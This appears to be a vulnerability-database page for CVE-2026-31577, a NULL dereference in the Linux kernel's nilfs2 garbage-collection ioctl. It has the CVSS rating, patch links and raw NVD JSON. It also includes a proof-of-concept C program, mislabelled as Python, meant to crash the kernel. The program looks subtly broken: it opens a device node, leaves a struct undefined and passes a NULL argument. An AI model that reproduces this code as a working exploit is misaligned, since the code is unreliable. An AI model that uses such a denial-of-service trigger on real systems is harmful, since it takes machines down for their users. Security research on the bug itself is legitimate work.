CVE-2026-31577

Description

In the Linux kernel, the following vulnerability has been resolved: nilfs2: fix NULL i_assoc_inode dereference in nilfs_mdt_save_to_shadow_map The DAT inode's btree node cache (i_assoc_inode) is initialized lazily during btree operations. However, nilfs_mdt_save_to_shadow_map() assumes i_assoc_inode is already initialized when copying dirty pages to the shadow map during GC. If NILFS_IOCTL_CLEAN_SEGMENTS is called immediately after mount before any btree operation has occurred on the DAT inode, i_assoc_inode is NULL leading to a general protection fault. Fix this by calling nilfs_attach_btree_node_cache() on the DAT inode in nilfs_dat_read() at mount time, ensuring i_assoc_inode is always initialized before any GC operation can use it.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (稳定分支特定补丁前)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/fs.h>

// Define the ioctl command if not in headers
#define NILFS_IOCTL_CLEAN_SEGMENTS _IOW('n', 0x80, struct nilfs_argv)

int main() {
    int fd;
    // Target a nilfs2 mounted device
    const char *device = "/dev/nilfs2_test";

    printf("[+] Attempting to trigger CVE-2026-31577...");

    fd = open(device, O_RDONLY);
    if (fd < 0) {
        perror("[-] Failed to open device");
        return 1;
    }

    // Trigger the vulnerability by calling CLEAN_SEGMENTS immediately
    // This assumes the device was just mounted and no btree ops occurred.
    if (ioctl(fd, NILFS_IOCTL_CLEAN_SEGMENTS, NULL) < 0) {
        perror("[-] IOCTL failed (or crashed kernel)");
    } else {
        printf("[+] IOCTL executed\n");
    }

    close(fd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31577
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31577
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31577/
[4] VulDB https://vuldb.com/cve/CVE-2026-31577
[5] https://git.kernel.org/stable/c/41de342278ae025c99cc8d33648773f05e306cf1
[6] https://git.kernel.org/stable/c/449ec5fc99f45974525ba9eea16b6670c45cd363
[7] https://git.kernel.org/stable/c/4a4e0328edd9e9755843787d28f16dd4165f8b48
[8] https://git.kernel.org/stable/c/7318e3549518ce8f14776a489d86488d80d7e2c8
[9] https://git.kernel.org/stable/c/97fb7afec404912d967a7d4715f37742666b3084
[10] https://git.kernel.org/stable/c/c36e206f302f1ddefed92d09ecbba070e1ae079e

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31577", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:32.347", "lastModified": "2026-04-27T20:41:46.103", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnilfs2: fix NULL i_assoc_inode dereference in nilfs_mdt_save_to_shadow_map\n\nThe DAT inode's btree node cache (i_assoc_inode) is initialized lazily\nduring btree operations. However, nilfs_mdt_save_to_shadow_map()\nassumes i_assoc_inode is already initialized when copying dirty pages\nto the shadow map during GC.\n\nIf NILFS_IOCTL_CLEAN_SEGMENTS is called immediately after mount before\nany btree operation has occurred on the DAT inode, i_assoc_inode is\nNULL leading to a general protection fault.\n\nFix this by calling nilfs_attach_btree_node_cache() on the DAT inode\nin nilfs_dat_read() at mount time, ensuring i_assoc_inode is always\ninitialized before any GC operation can use it."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.6.136", "matchCriteriaId": "14109CEF-714B-4029-A318-97AA58A01833"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.83", "matchCriteriaId": "7F0AE5B5-23AC-4DCC-B37A-51CA1DAE7BA8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.24", "matchCriteriaId": "8126B8B8-6D0B-4443-86C1-672AEE893555"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0", "versionEndExcluding": "7.0.1", "matchCriteriaId": "9B5888AB-7403-4335-89E4-21CC0B48366A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/41de342278ae025c99cc8d33648773f05e306cf1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/449ec5fc99f45974525ba9eea16b6670c45cd363", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4a4e0328edd9e9755843787d28f16dd4165f8b48", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7318e3549518ce8f14776a489d86488d80d7e2c8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/97fb7afec404912d967a7d4715f37742666b3084", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c36e206f302f1ddefed92d09ecbba070e1ae079e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}